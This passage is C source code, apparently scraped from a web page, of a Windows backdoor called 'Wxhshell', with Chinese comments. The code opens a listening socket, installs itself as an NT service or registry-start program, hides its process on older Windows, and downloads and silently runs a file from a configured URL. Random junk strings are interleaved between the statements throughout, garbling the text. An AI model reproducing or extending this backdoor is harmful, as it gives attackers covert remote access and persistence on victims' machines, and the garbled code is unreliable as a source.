{ [S;ceORx CloseHandle(hProcess); ;G_{$)P.o 3BHPD;U hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =?hGa;/rb if(hProcess==NULL) return 0; w@,Yj#_9cx NbnahhS HMODULE hMod; xe9E</M_ char procName[255]; r$<-2lW unsigned long cbNeeded; ! f!/~M"! 2H+!78 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =Ts2a"n +P YX. CloseHandle(hProcess); Yl}'hRp 62BT 3/~ if(strstr(procName,"services")) return 1; // 以服务启动 W.u+R?a= n$]78\C return 0; // 注册表启动 R|4a9G } o3C7JG X+6`]] // 主模块 0m8mHJ<& int StartWxhshell(LPSTR lpCmdLine) :De@_m { 'YKyY:eZ SOCKET wsl; (@wgNA-P BOOL val=TRUE; vZhC_G+tGd int port=0; |AD"}8 struct sockaddr_in door; {yj8LxX^ F_C7S if(wscfg.ws_autoins) Install(); \.!+'2!m EL/~c*a/ port=atoi(lpCmdLine); {nQ?+o3 ^LAP*R if(port<=0) port=wscfg.ws_port; )67pBj 6b!F7kyg WSADATA data; Vc2(R^ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'c]Fhe fb [Q0n-b,Q if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b({K6#?'[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0Wd2Z-I door.sin_family = AF_INET; )-jA4!& door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hsdcv~Xr;l door.sin_port = htons(port); &7-ENg9 [ dUvgFOy|P if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /w|!SZB closesocket(wsl); )s-[d_g return 1; ~-J!WC==U } }Mv$Up 4DwQ7KX if(listen(wsl,2) == INVALID_SOCKET) { r(qwzUI closesocket(wsl); ]?un'$%e return 1; )I{~Pcq } ]cmq Wxhshell(wsl); :abpht WSACleanup(); -f&m4J} E " J4?Sb < return 0; XJSI/jpa@ JLz.lk*. } c*!xdK \Bvy~UeE)> // 以NT服务方式启动 O)FkpZc@9c VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t3l-] { oR@emYL DWORD status = 0; {SRv=g DWORD specificError = 0xfffffff; H~1o^
gU Y2!P!u+Q serviceStatus.dwServiceType = SERVICE_WIN32; F'^y?UP[ serviceStatus.dwCurrentState = SERVICE_START_PENDING; xoB "hNIX serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dxa[9>V serviceStatus.dwWin32ExitCode = 0; j>I.d+ serviceStatus.dwServiceSpecificExitCode = 0; A+QOox]< serviceStatus.dwCheckPoint = 0; uQmtd serviceStatus.dwWaitHint = 0; .-mlV ^ Ly~s84k_po hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b~td^ if (hServiceStatusHandle==0) return; Z,QSbw@,7 ?l?_8y/ww status = GetLastError(); EmYu]"${1 if (status!=NO_ERROR) p5V.O20 { D>6vI serviceStatus.dwCurrentState = SERVICE_STOPPED; [ApAd serviceStatus.dwCheckPoint = 0; knABlU serviceStatus.dwWaitHint = 0; }nt,DG!r serviceStatus.dwWin32ExitCode = status; d-ML[^G serviceStatus.dwServiceSpecificExitCode = specificError; # n\|Q\W SetServiceStatus(hServiceStatusHandle, &serviceStatus); A4IPd return; eFz!`a^dX } FNHJHuTe J PmZ%]wA serviceStatus.dwCurrentState = SERVICE_RUNNING; o#frNT} serviceStatus.dwCheckPoint = 0; FV>xAU$ serviceStatus.dwWaitHint = 0; Lv<)Dur0K if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @D2KDV3' } E[8i$ x)prI6YMv\ // 处理NT服务事件,比如:启动、停止 &^JYIRn1\ VOID WINAPI NTServiceHandler(DWORD fdwControl) G1S:hw%rp { QV*W#K\7q switch(fdwControl) K/D,sH! { 1g1gu=|Q case SERVICE_CONTROL_STOP: nOdAp4{:q% serviceStatus.dwWin32ExitCode = 0; {3kI~s serviceStatus.dwCurrentState = SERVICE_STOPPED; InfUH8./t serviceStatus.dwCheckPoint = 0; ghVxcK serviceStatus.dwWaitHint = 0; ^#,cWG}z { gLQbA$gB SetServiceStatus(hServiceStatusHandle, &serviceStatus); SX6P>:` } //H3{^{ return; ("rIz8b case SERVICE_CONTROL_PAUSE: MnT+p[. serviceStatus.dwCurrentState = SERVICE_PAUSED; ^
^R4%C break; ^J7g)j3 case SERVICE_CONTROL_CONTINUE: :rX/ILAr serviceStatus.dwCurrentState = SERVICE_RUNNING; zP;1mN break; Ykt(%2L case SERVICE_CONTROL_INTERROGATE: #^;^_ break; lL6qK&; }; aShZdeC*f SetServiceStatus(hServiceStatusHandle, &serviceStatus); \`: LPe } yi9c+w)b 0CS80
pC // 标准应用程序主函数 wfc[B;K\ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y'S9
{ !kg)8 4C[ TAn.5
wH9t // 获取操作系统版本 gHzjI[WI OsIsNt=GetOsVer(); 4uUR2J GetModuleFileName(NULL,ExeFile,MAX_PATH); hhvP*a_J vXi}B // 从命令行安装 &5u[q if(strpbrk(lpCmdLine,"iI")) Install(); sw@*N R(sa.Q\D4 // 下载执行文件 %1p4K) if(wscfg.ws_downexe) { j']Q-s(s if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e`Z3{H} WinExec(wscfg.ws_filenam,SW_HIDE); ,w/f:-y } =7Y gES n! (g<" if(!OsIsNt) { y|+ltA K // 如果时win9x,隐藏进程并且设置为注册表启动 <.<Q.z HideProc(); ;ckv$S[p StartWxhshell(lpCmdLine); 7l})`>
k } ?ixzlDto\ else r,4V SyZF\ if(StartFromService()) m 5NF)eL // 以服务方式启动 jdY v*/^ StartServiceCtrlDispatcher(DispatchTable); |KFWW else T7.u7@V2 // 普通方式启动 C9}2F{8 StartWxhshell(lpCmdLine); r_Rjjo dkQA[/k return 0; N2_ =^s7 }
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